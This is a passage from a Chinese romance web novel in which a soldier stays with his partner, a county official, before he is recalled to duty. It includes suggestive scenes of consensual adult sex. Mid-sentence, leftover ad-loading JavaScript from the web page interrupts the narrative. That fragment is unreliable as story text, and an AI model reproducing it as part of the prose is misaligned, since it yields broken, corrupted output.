话还没出口,就感受到身体在复苏。 符伊年自然也感受到了,毕竟他还在她身体里没出来,“你不累吗?” 这种时候怎么可能说累?更何况在京城休整了一周,精力好的不得了,“我不累,你累吗?”说着用手揉捏了一下她的腰。 “哎呀!”符伊年的腰其实酸的很,被他那么一捏,立即一激灵,气得她一头撞到他的胸膛,像小牛犊一样顶了顶,“祝镕!你怎么欺负人!” “没有没有,这不是,想多伺候伺候你……”说着闷笑了两声,安抚了人,腰抬了抬,又塌下去。 符伊年只觉得海浪再一次席卷而来,忍不住轻轻哼了一声,长腿不由自主的抬起,更加方便他攻城掠地。 早就说过了,风平浪静只是一时,背后将是滔天巨浪。 符伊年不记得自己什么时候睡着的,反正第二天醒的时候已经天光大亮。幸好,幸好今天是周日,不用上班。 想到这里,符伊年猛地转头,正好对上祝镕的眼睛,看他眼神清明,分明是早就醒了,此时见符伊年也醒来,忍不住将人往自己怀里搂了搂,“还早,再睡一会儿?” 说是这么说,可是符伊年却察觉到他身体的变化,还有他靠近的唇,这分明是不想让她睡吧? 符伊年忍不住磨牙,在他胸口推了一把,“你故意的吧?” 故意周六到,第二天周日,不用上班,这样方便他能折腾她一整晚,甚至再加一个白天。 祝镕眨眨眼,没说是也没说不是,有些赧然地抿嘴笑。 “什么时间了?”符伊年将身体往后挪了挪,顺势转移话题。虽然闹钟就在她身后的床头柜上,但是她不想去看,只开口等答案。 祝镕虽然还有兴致,不过看符伊年的样子好像有点累,便翻身平躺平复自己的情绪。听到她的问话,从枕头底下摸出自己的军用手表看一眼,“八点半,饿吗?我去食堂打饭?” 符伊年翻白眼,“食堂早饭从六点半到八点,这个时候去早就没有了,而且这个时间去食堂,是生怕大家不知道我起晚了吧?” 祝镕听出来了,她这是觉得难为情了,起晚了是其次,主要是昨晚闹得动静有点大,她不好意思了。 “那就不去食堂,我昨天来的时候看附近有不少小吃店,想吃什么,我去买?”边说边翻身下床,套上自己的迷彩裤,正要穿衬衫,就发觉符伊年在盯着自己的上身看。 祝镕挺胸收腹,“满意你看到的吗?” 142. 番外五 第一四二章番外五 最后到底也没有出去买着吃,按符伊年的说法是,早餐铺子已经关门了,正餐饭店还没营业,没得吃。 最后在家煮面条吃的。 符伊年平时不开火,但是有时候下乡回来晚了赶不上食堂饭点,或者周日懒得去食堂,就煮一把面条将就着吃。 面条就是最普通的鸡蛋挂面,幸好配菜多,火腿丁木耳块干虾仁紫菜,多多少少都放了些,将就着一顿早饭也就吃完了。 “我看厨房油盐酱醋都有,不如你告诉我菜市场在哪里,买了菜我给你做饭吃吧。”祝镕将一只装了面的中碗放到符伊年面前,自己则直接将锅子端到桌上去,就着锅吃了。 符伊年有点无语,“拜托,你就不能用大碗吗?又不是没有。” 祝镕大马金刀地坐在椅子上,很是无所谓的样子,“何必多洗一只碗。”说完就开始稀里秃噜地吃起面来。 他没有说的是,别说就着锅吃面,就着水桶混着沙子吃面的时候都有过,吃饱肚子就好,不用计较太多。 吃完早饭,祝镕跟符伊年问了菜市场的方位,换了衣服准备去买菜,“你要不要和我一起?” 符伊年半躺在沙发里,感受了一下,摇头,“腰酸,你自己去。” 祝镕回身在她额头上摸了一把,确定人没有发烧,将她拉起来送回床上去,“你还是继续睡吧,反正也没别的事。” 符伊年刚好有些乏,就顺从地躺了下来,还打了个呵欠,“哦,对了,大门周末不开的,走西北边的小门,出去后往左边走十来分钟就是中心市场,你看着买好了。” 祝镕答应着将被子给她盖好,看她困得眼泪都流出来了,有些自责,昨晚不应该闹她那么晚的,他弯下腰怜惜地在她额头上亲了一下,让她好好睡。 符伊年“嗯”了一声闭上眼,祝镕见状就提步走出去。 结果才走没两步,就又听见符伊年开口了,“你有钱没有啊,零钱在门口柜子上的饼干盒子里……” 祝镕不得不重新走回来,“好好,知道了,我有钱的,你快睡。” 符伊年闭上眼,下一瞬又睁开,“对了,市场东南角有个‘老高烧鸡’,记得买一只,要糊一点的,多要点辣椒面。” 祝镕当然是一叠声地答应,“还有吗?还想吃什么?” 符伊年想了想,暂时想不到了,“没有了,去吧,小祝子。” 祝镕被她这副太后般的语气给气笑了,可是符伊年已经闭上眼准备睡了,他不好再去闹她,也知道她其实是在恃宠耍赖,只好暂时作罢,脸上是他自己都没察觉到的无奈和宠溺。 祝镕腿长,符伊年说的十来分钟的路程,他走个五六分钟就到了。然后祝镕就发现,若是按方位算,县政府、公安局、还有附近的客运站,再加上这座市场,刚好居于整个县城的中心位置。 难怪叫“中心市场”。 这座市场挺大的,除了符伊年说的卖生鲜熟食的菜市场,其实还有几家档次不同的饭店,和一座三层楼高的百货商场。 祝镕将整个中心市场都逛了一遍。全世界的百货商场都差不多,大同小异。饭店从门脸看有普通的小吃部也有比较豪华的高档饭店,和百货商场一南一北相对坐落着。 而生鲜熟食摊位则在另外两侧。 祝镕走完一圈,先去一家饺子馆买了两斤饺子,生的,他打算自己回去煮,在店家包饺子的时候,他去买了符伊年要的“老高烧鸡”,又买了些蔬菜、肉,想起家里柜子里的两包挂面,又去粮站买了两斤米。 今天先这么吃,明天等符伊年上了班他再来采购吧。 回到家的时候,主卧的门还是他离开时的状态,微掩着,符伊年应该还在睡。祝镕把买回来的东西放到厨房,轻手轻脚地走过去将主卧的门关上。 离午饭还早,他没有坐,而是打量着这座房子——昨天回来后很快就沉迷在和有情人做快乐事之中,没来得及参观。 两室一厅的小房子,是真的小房子,别说和四合院比,就是和他在部队的宿舍相比都小,嗯,和安县化工厂家属院的那个差不多。 可能因为成县和安县体量差不多有关,虽然安县财政收入比成县好点,但到底是县政府家属楼,规格不会太差。 主卧就是昨晚两人睡的那间,一个三开门立柜和一张双门电视柜,还有一台熊猫黑白电视机。 客厅是两张单人皮沙发,中间是一张木茶几,茶几上的茶盘一只暖水壶两个和两个瓷茶缸,窗户上两盆花。 次卧一张单人床和一套桌椅,还有一个摆了不少书的书架。嗯,床和墙的空隙还放了只箱子,里面堆了些皮球、小汽车、洋娃娃之类的玩具。看起来两个孩子也来住过一段时间。 有她,有孩子,唯独没有自己的痕迹。 不,现在有了,从此以后,她的生活里,他们的生活里,将处处都有他的痕迹。也许不会时时有,但肯定会处处有。 嗯,这么一想,怎么感觉有点像小狗那啥圈地盘? 祝镕自嘲地笑笑,没待他多想,就听见身后有动静。回身一看,符伊年正揉着眼睛开门往外走,看到次卧门口的祝镕时吓了一跳。 “什么人!”符伊年第一反应是家里进贼了,一边叫着一边往门后乱摸,接着定睛一看,“哦,你啊,我都忘了你回来了。”说完放下乱摸的手,小跑着直接奔厕所去了,“哎哟,憋死了憋死了。” 祝镕:…… 好笑的同时有有些心酸,他往刚才她乱摸的地方看去,那里有一座沙发靠着墙,沙发背后和墙的缝隙中,插着一把匕首。 祝镕闭上眼,无尽的心痛。 符伊年放完水出来,刚好看到祝镕在盯着那把匕首看,有些讪讪的,“县政府家属院的安全还是可以的,我就是白担心。” 祝镕低低“嗯”了一声,上前一步抱了符伊年一下,符伊年便也回搂住他的腰,仰起头,下巴垫在他的胸口,安抚道:“没事的哦,别担心。” 祝镕低下头双手捧起她的脸,在她被挤成O型的嘴唇上mua了一口,符伊年猝不及防被亲,立刻扭着身子“嗯嗯”表示抗议,“唔害么刷牙!” “是吗?”祝镕没有抬起头,却反而又凑近了些,在她嘴边嗅了嗅,“没有闻到呢,我尝尝吧!” 等祝镕“尝”完,符伊年已经腰软腿软,整个人攀在祝镕身上, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娇喘吁吁,狂吞口水。 祝镕见她目若春水、面若桃花、声娇体软,立即兴致大起,几乎立即就想将人抱起进屋再行一番快乐之事。 符伊年察觉到祝镕的意图,立即用手推着他的胸口,离着他远了些,转移起话题,“中午吃什么?你都买了些什么回来呀?” 祝镕如何不明白她的意图,好笑地看了她一眼,“买了饺子,一会儿煮了吃,晚上吃米饭,炒两个菜,怎么样?” 符伊年当然没意见,她推祝镕去厨房煮饺子,顺便看了看她买的菜,确定都是自己喜爱吃的,这才满意地去卫卫生间洗漱。 祝镕在符伊年这里一共待了一个多月,每天早上绕着县政府大院跑十公里,然后回带早餐或者菜肉回家。 通常这个时候也才早上七点。 回到了家,喊了符伊年起床洗漱吃早饭,然后再送人出门去上班,当然出门之前不会忘了讨一个goodbyekiss。 送了符伊年出门,祝镕在家也有事做。 符伊年平时工作就很忙,每周只有的一天休息日有时候还要在办公室加班,家里的卫生能够保持成这样,多亏了符伊年“做家务就当换脑子休息”。 擦玻璃、洗被单、清理厨房,修理漏水的龙头和下水不畅的地漏,换掉老旧生锈难用的锁头,修理因为润滑油不足的门折页…… 因为他的身影经常在县政府家属院里出没,邻居们从最开始的稀奇,已经变得习以为常,若是哪天没见到他,才会觉得奇怪。 因为祝镕的到来,符伊年最近工作比较轻松,很少下班后再留在办公室加班,哪怕她自己主动留下,同事们都不同意,美其名曰:军民一家亲。 只是符伊年总觉得他们在说这句话的时候,带了些别的意味。符伊年没多想,反正最近也确实不忙,大家的好意她就顺水推舟了。 祝镕知道后笑起来,“看来我得给大家准备些谢礼才行。” 符伊年枕着他的手臂,翻了个白眼,“你最该感谢我才对吧?” “谢!都谢!”祝镕一翻身,用双臂撑在符伊年两侧,俯视着她,在她嘴角啄了一下,“现在就谢谢你!” 符伊年没有丝毫躲闪,“小祝子,来给本宫揉揉腰,再按按腿!” 祝镕被她这颐气指使的语气气笑了,他抬了抬腰又沉了下去,“您等着,我这就来伺候您!” 符伊年尖叫一声,很快声音就消失在唇齿之间,只剩下“嗯嗯唔唔”的应和,还有连连的娇喘。 祝镕带来的安全套还剩两枚的时候,他接到了祝军长的电话,说jun委那里已经来了通知,让他赶紧回去报道。 最后一晚,用掉最后一枚,祝镕拥着符伊年,用额角蹭着她的发顶,叮嘱她:“要按时吃饭” 符伊年:“好。” 祝镕:“要注意休息,工作是做不完的。” 符伊年:“嗯。” 祝镕:“等我安顿好了,你要抽时间去看我。” 等了一会儿,没听见人应,祝镕低头看看,符伊年已经闭上眼睡着了,神态安详、呼吸绵长。 祝镕无声地笑笑,在她额头上吻了一下,“睡吧,宝贝。”